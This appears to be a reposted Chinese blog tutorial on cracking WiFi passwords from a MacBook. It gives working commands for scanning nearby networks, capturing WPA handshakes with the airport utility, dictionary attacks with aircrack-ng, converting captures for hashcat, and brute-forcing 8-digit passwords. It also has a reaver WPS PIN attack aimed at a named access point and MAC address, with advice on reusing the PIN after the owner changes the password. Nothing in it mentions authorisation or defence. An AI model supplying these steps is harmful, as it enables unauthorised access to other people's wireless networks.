wifi 密码

macbook 监听模式

sudo tcpdump -Ii en0 > sniff

macOS 安装aircrack-ng
macOS系统版本
1,安装和更新aircrack-ng
2,查看 aircrack-ng版本
3,查看附近wifi
4,抓包
5,跑字典
6,安装hashcat
7,安装hashcat-utils
8,cap 转 hccapx
9,hashcat破解密码
9.1 hashcat 规则破解密码
10,在线HASH CRACK
macOS系统版本

sw_vers

ProductName:    Mac OS X
ProductVersion: 10.13.6
BuildVersion:   17G65

1,安装和更新aircrack-ng

brew search aircrack-ng
brew install aircrack-ng
brew upgrade aircrack-ng

2,查看 aircrack-ng版本

brew info aircrack-ng

aircrack-ng: stable 1.4

3,查看附近wifi

sudo /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s
参数说明:
-i  无线网卡名称
-b  目标AP的mac地址
-a  自动检测目标AP最佳配置
-S  使用最小的DH key,可以提高破解速度
-vv  显示更多的非严重警告(注意这是 2 个小写字母 v)
-d  即delay每穷举一次的闲置时间 预设为1秒
-c  信道编号
-p  PIN码四位或八位  //可以用8位直接找到密码。


  破解时推荐使用这个命令:reaver -i ChinaNet-JN2U -b 8c:6d:77:70:8c:f0 -a -S -d9 -t9 -vv,因为–d9 –t9参数可以防止pin死路由器。

  第七步:去睡个觉,或者开几局王者,因为这个破解的时间比较长。

  破解完成之后,查看并记录下 PIN码 和 密码

  获取到 PIN码 后,以后即便路由器更换了密码,我们也可以很迅速地通过 PIN码 重新获得新密码。举例:

    reaver  -i  wlan0mon -b  xx:xx:xx:xx:xx:xx  -p 12345670

4,抓包
参数en0是我电脑的默认网卡, 数字6是网卡需要监听的网络频道:

sudo /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport en0 sniff 6

en1 无线网卡名称
1 破解Wi-Fi信道CHANNEL

aircrack-ng /tmp/airportSniffxNVV5o.cap | grep 1B:42
aircrack-ng airportSniffxQnNSI.cap | grep "1 handshake"

WPA (0 handshake) 0没有抓到握手包
WPA (1 handshake) 1成功抓到握手包

5,跑字典

aircrack-ng -w pass.txt /tmp/airportSniffxNVV5o.cap

aircrack-ng -w pass.txt -b e4:f3:f5:93:1b:42 /tmp/airportSniffxNVV5o.cap

6,安装hashcat

brew search hashcat
brew install hashcat

7,安装hashcat-utils

git clone https://github.com/hashcat/hashcat-utils
cd hashcat-utils/src/
make

8,cap 转 hccapx

./cap2hccapx.bin /tmp/airportSniffxQnNSI.cap /tmp/output.hccapx MERCURY_1B44

9,hashcat破解密码

hashcat -m 2500 /tmp/output.hccapx /root/pass.txt

9.1 hashcat 规则破解密码

INFO: All hashes found in potfile! Use --show to display them.

删除hashcat.potfile中内容

find / -name "hashcat.potfile"

-a 3 : 攻击模式 3 = Brute-force(掩码暴力破解)
?d?d?d?d?d?d?d?d : 8为数字破解 ,?d代表数字

hashcat -m 2500 -a 3 /tmp/output.hccapx   ?d?d?d?d?d?d?d?d

原文:https://blog.csdn.net/u010953692/article/details/83548524
版权声明:本文为博主原创文章,转载请附上博文链接!

你可能感兴趣的:(wifi 密码)